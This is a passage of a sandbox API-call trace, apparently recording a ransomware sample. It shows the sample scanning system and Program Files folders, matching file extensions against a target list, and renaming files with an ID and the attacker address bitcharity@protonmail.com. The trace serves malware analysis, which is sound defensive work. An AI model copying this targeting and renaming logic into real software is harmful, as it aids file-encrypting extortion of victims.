0x75420000 [0241.654] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.654] Wow64DisableWow64FsRedirection (in: OldValue=0x376ff50 | out: OldValue=0x376ff50*=0x0) returned 1 [0241.654] lstrlenW (lpString="kernel32.dll") returned 12 [0241.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4018 | out: hHeap=0x630000) returned 1 [0241.654] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e3de8 | out: hHeap=0x630000) returned 1 [0241.654] Sleep (dwMilliseconds=0x64) [0242.051] Sleep (dwMilliseconds=0x64) [0242.262] Sleep (dwMilliseconds=0x64) [0242.570] Sleep (dwMilliseconds=0x64) [0242.843] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0242.843] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0242.843] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.925] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=77664) returned 1 [0242.925] CloseHandle (hObject=0x1100) returned 1 [0242.925] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0242.925] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.925] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.925] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.925] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.925] lstrlenW (lpString=".doc") returned 4 [0242.925] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.925] lstrlenW (lpString=".docx") returned 5 [0242.925] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.925] lstrlenW (lpString=".pdf") returned 4 [0242.925] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.925] lstrlenW (lpString=".xls") returned 4 [0242.925] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.925] lstrlenW (lpString=".xlsx") returned 5 [0242.925] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.925] lstrlenW (lpString=".ppt") returned 4 [0242.925] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.925] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.925] lstrlenW (lpString=".zip") returned 4 [0242.926] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.926] lstrlenW (lpString=".rar") returned 4 [0242.926] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.926] lstrlenW (lpString=".bz2") returned 4 [0242.926] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.926] lstrlenW (lpString=".7z") returned 3 [0242.926] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.926] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.926] lstrlenW (lpString=".dbf") returned 4 [0242.926] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.926] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.926] lstrlenW (lpString=".1cd") returned 4 [0242.926] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.926] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.926] lstrlenW (lpString=".jpg") returned 4 [0242.926] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.926] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.926] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.926] lstrlenW (lpString=".doc") returned 4 [0242.926] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.926] lstrlenW (lpString=".docx") returned 5 [0242.926] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.926] lstrlenW (lpString=".pdf") returned 4 [0242.926] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.926] lstrlenW (lpString=".xls") returned 4 [0242.926] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.926] lstrlenW (lpString=".xlsx") returned 5 [0242.926] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.926] lstrlenW (lpString=".ppt") returned 4 [0242.927] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.927] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.927] lstrlenW (lpString=".zip") returned 4 [0242.927] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.927] lstrlenW (lpString=".rar") returned 4 [0242.927] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.927] lstrlenW (lpString=".bz2") returned 4 [0242.927] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.927] lstrlenW (lpString=".7z") returned 3 [0242.927] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.927] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.927] lstrlenW (lpString=".dbf") returned 4 [0242.927] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.927] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.927] lstrlenW (lpString=".1cd") returned 4 [0242.927] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.927] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0242.927] lstrlenW (lpString=".jpg") returned 4 [0242.927] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.927] Sleep (dwMilliseconds=0x64) [0243.288] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0243.288] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0243.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1134 [0243.288] GetFileSizeEx (in: hFile=0x1134, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=2776664) returned 1 [0243.288] CloseHandle (hObject=0x1134) returned 1 [0243.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0243.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0243.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.728] lstrlenW (lpString=".doc") returned 4 [0243.729] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0243.729] lstrlenW (lpString=".docx") returned 5 [0243.729] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0243.729] lstrlenW (lpString=".pdf") returned 4 [0243.729] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0243.729] lstrlenW (lpString=".xls") returned 4 [0243.729] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0243.729] lstrlenW (lpString=".xlsx") returned 5 [0243.729] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0243.729] lstrlenW (lpString=".ppt") returned 4 [0243.729] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0243.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.729] lstrlenW (lpString=".zip") returned 4 [0243.729] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0243.729] lstrlenW (lpString=".rar") returned 4 [0243.729] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0243.729] lstrlenW (lpString=".bz2") returned 4 [0243.729] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0243.729] lstrlenW (lpString=".7z") returned 3 [0243.729] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0243.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.729] lstrlenW (lpString=".dbf") returned 4 [0243.729] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0243.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.729] lstrlenW (lpString=".1cd") returned 4 [0243.729] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0243.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.729] lstrlenW (lpString=".jpg") returned 4 [0243.730] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0243.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.730] lstrlenW (lpString=".doc") returned 4 [0243.730] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0243.730] lstrlenW (lpString=".docx") returned 5 [0243.730] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0243.730] lstrlenW (lpString=".pdf") returned 4 [0243.730] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0243.730] lstrlenW (lpString=".xls") returned 4 [0243.730] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0243.730] lstrlenW (lpString=".xlsx") returned 5 [0243.730] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0243.730] lstrlenW (lpString=".ppt") returned 4 [0243.730] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0243.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.731] lstrlenW (lpString=".zip") returned 4 [0243.731] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0243.731] lstrlenW (lpString=".rar") returned 4 [0243.731] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0243.731] lstrlenW (lpString=".bz2") returned 4 [0243.731] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0243.731] lstrlenW (lpString=".7z") returned 3 [0243.731] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0243.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.731] lstrlenW (lpString=".dbf") returned 4 [0243.731] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0243.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.731] lstrlenW (lpString=".1cd") returned 4 [0243.731] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0243.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0243.731] lstrlenW (lpString=".jpg") returned 4 [0243.731] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0243.731] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0243.731] lstrlenW (lpString="vccorlib140.dll") returned 15 [0243.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.749] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=390320) returned 1 [0243.749] CloseHandle (hObject=0x112c) returned 1 [0243.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0243.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.749] lstrlenW (lpString=".doc") returned 4 [0243.749] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.749] lstrlenW (lpString=".docx") returned 5 [0243.750] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.750] lstrlenW (lpString=".pdf") returned 4 [0243.750] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.750] lstrlenW (lpString=".xls") returned 4 [0243.750] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.750] lstrlenW (lpString=".xlsx") returned 5 [0243.750] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.750] lstrlenW (lpString=".ppt") returned 4 [0243.750] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.750] lstrlenW (lpString=".zip") returned 4 [0243.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.750] lstrlenW (lpString=".rar") returned 4 [0243.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.750] lstrlenW (lpString=".bz2") returned 4 [0243.750] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.750] lstrlenW (lpString=".7z") returned 3 [0243.750] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.750] lstrlenW (lpString=".dbf") returned 4 [0243.750] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.750] lstrlenW (lpString=".1cd") returned 4 [0243.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.750] lstrlenW (lpString=".jpg") returned 4 [0243.750] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.751] lstrlenW (lpString=".doc") returned 4 [0243.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.751] lstrlenW (lpString=".docx") returned 5 [0243.751] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.751] lstrlenW (lpString=".pdf") returned 4 [0243.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.751] lstrlenW (lpString=".xls") returned 4 [0243.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.751] lstrlenW (lpString=".xlsx") returned 5 [0243.751] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.751] lstrlenW (lpString=".ppt") returned 4 [0243.751] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.751] lstrlenW (lpString=".zip") returned 4 [0243.751] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.751] lstrlenW (lpString=".rar") returned 4 [0243.751] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.751] lstrlenW (lpString=".bz2") returned 4 [0243.751] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.751] lstrlenW (lpString=".7z") returned 3 [0243.751] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.751] lstrlenW (lpString=".dbf") returned 4 [0243.751] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.752] lstrlenW (lpString=".1cd") returned 4 [0243.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0243.752] lstrlenW (lpString=".jpg") returned 4 [0243.752] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.752] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0243.752] lstrlenW (lpString="vcruntime140.dll") returned 16 [0243.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.752] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=88752) returned 1 [0243.752] CloseHandle (hObject=0x112c) returned 1 [0243.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0243.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.754] lstrlenW (lpString=".doc") returned 4 [0243.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.754] lstrlenW (lpString=".docx") returned 5 [0243.754] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.754] lstrlenW (lpString=".pdf") returned 4 [0243.754] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.754] lstrlenW (lpString=".xls") returned 4 [0243.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.754] lstrlenW (lpString=".xlsx") returned 5 [0243.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.754] lstrlenW (lpString=".ppt") returned 4 [0243.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.754] lstrlenW (lpString=".zip") returned 4 [0243.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.754] lstrlenW (lpString=".rar") returned 4 [0243.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.754] lstrlenW (lpString=".bz2") returned 4 [0243.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.755] lstrlenW (lpString=".7z") returned 3 [0243.755] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.755] lstrlenW (lpString=".dbf") returned 4 [0243.755] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.755] lstrlenW (lpString=".1cd") returned 4 [0243.755] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.755] lstrlenW (lpString=".jpg") returned 4 [0243.755] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.755] lstrlenW (lpString=".doc") returned 4 [0243.755] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.755] lstrlenW (lpString=".docx") returned 5 [0243.755] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0243.755] lstrlenW (lpString=".pdf") returned 4 [0243.755] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0243.755] lstrlenW (lpString=".xls") returned 4 [0243.755] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0243.755] lstrlenW (lpString=".xlsx") returned 5 [0243.755] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0243.755] lstrlenW (lpString=".ppt") returned 4 [0243.755] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0243.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.756] lstrlenW (lpString=".zip") returned 4 [0243.756] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0243.756] lstrlenW (lpString=".rar") returned 4 [0243.756] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0243.756] lstrlenW (lpString=".bz2") returned 4 [0243.756] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0243.756] lstrlenW (lpString=".7z") returned 3 [0243.756] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0243.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.756] lstrlenW (lpString=".dbf") returned 4 [0243.756] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0243.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.756] lstrlenW (lpString=".1cd") returned 4 [0243.756] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0243.756] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0243.756] lstrlenW (lpString=".jpg") returned 4 [0243.756] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0243.756] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0243.756] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0243.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x112c [0243.787] GetFileSizeEx (in: hFile=0x112c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=10752) returned 1 [0243.787] CloseHandle (hObject=0x112c) returned 1 [0243.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0243.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.788] lstrlenW (lpString=".doc") returned 4 [0243.788] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.788] lstrlenW (lpString=".docx") returned 5 [0243.788] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.788] lstrlenW (lpString=".pdf") returned 4 [0243.788] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0243.788] lstrlenW (lpString=".xls") returned 4 [0243.788] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0243.788] lstrlenW (lpString=".xlsx") returned 5 [0243.788] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0243.788] lstrlenW (lpString=".ppt") returned 4 [0243.788] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0243.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0243.789] lstrlenW 